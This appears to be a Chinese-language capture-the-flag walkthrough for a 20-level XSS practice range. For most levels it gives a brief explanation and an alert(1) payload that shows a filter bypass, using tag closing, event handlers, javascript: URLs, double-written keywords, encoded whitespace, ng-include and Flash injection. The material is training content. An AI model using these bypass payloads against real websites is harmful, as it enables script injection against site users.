'XSS挑战之旅'
所使用靶场
地址http://test.ctf8.com/
源码链接:https://pan.baidu.com/s/1I54ZBYOHujP2WZdtcjNfGw
提取码:xqbh
level 1
这关用户名是可控的,我们查看源代码,闭合h2标签
1 | </h2><script>alert(1)</script> |
level 2
这关也一样,通过查看源代码,闭合标签
1 | "><script>alert(1)<%2Fscript><" |
level 3
查看页面源码闭合语句,发现没通过,再次查看源代码,发现左右尖括号被编码,我们利用onclick点击事件,被点击时,执行JS代码
1 | ' onclick='alert(1)' |
level 4
这关和上一关一样,不过替换了单引号,利用双引号进行闭合
1 | " onclick="alert(1)" |
level 5
这关会把on进行分离o_n,双引号进行编码,script进行分离scr_ipt,并且全部小写
我们用a标签和href写个链接出来,点击链接触发XSS
1 | 123456"> <a href=javascript:alert(1) >XSS</a> |
level 6
这关herf进行分离he_rf,其他和第五关一样,不过少了大小写转换
1 | "><ScRipt>alert("xss")</script> |
level 7
这关把script等关键字替换为空,我们双写即可绕过
1 | "><scrscriptipt>alert("xss")</scrscriptipt> |
level 8
这关直接有个a标签herf,不过script会替换成scr_ipt,可以用%09换行掉_下划线,也可以实体编码,(注意使用第一句代码%09替换时输入到url中,不然%09无法解析)
在线编解码网站http://www.ofmonkey.com/encode/html
1 | javascr%09ipt:alert(1) |
level 9
这关检测了友链的合法性,http://
1 | javascr%09ipt:alert(1)//http:// |
level 10
keyword 过滤较严格。但是有三个隐藏参数t_link, t_history,t_sort,都手动加上:?keyword=&t_link=“&t_history=”&t_sort="
发现只有 t_sort 有输出:
1 | &t_sort=" type="text" onclick="alert(1) |
level 11
这关t_ref这个值就是http请求中的referer,所以抓包改包
level 12
这关通过查看源代码,t_ua是user-Agent头,再次抓包改包,和上一关一样,就不截图了(懒)
level 13
这关变成了cookie,抓包改包
level 14
exif 题目失效,图片加载不出来
与exif有关的博客: http://blog.sina.com.cn/s/blog_722cb9a90102wl2c.html
漏洞成因:chrome插件exif viewer获取图片exif信息时没有进行过滤,导致xss代码执行。
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:
1 | exiftool -FIELD=XSS FILE |
level 15
这关用了ng-include函数类似于PHP中的文件包含include(),所以我们包含第一关就好了
不知道为啥火狐包含不过去,用了谷歌就好了。。。。
1 | src='level1.php?name=<img src=x onerror=alert(1)>' |
level 16
这关通过查看源码发现,大小写绕过失效,script、/、空格等都被转换成 ,这时,可以尝试使用%0a,%0d来进行绕过
1 | keyword=<img%0Asrc=1%0Aonerror=alert(1)> |
level 17
embed标签可以引入swf文件,我们加个鼠标移动事件就可以了,搞不懂火狐,又没反应
1 | arg01=a&arg02=b%20onmouseover=alert(1) |
level 18
和上一关一样
level 19
flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数
工具地址 https://github.com/jindrapetrik/jpexs-decompiler
然后追踪到sIFR的内容
得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,所以分析contentIsLink函数
所以我们可以构造a标签来传值
1 | arg01=version&arg02=<a href="javascript:alert(1)">123</a> |
level 20
最后这关没搞懂,验证一下代码
1 | ?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height |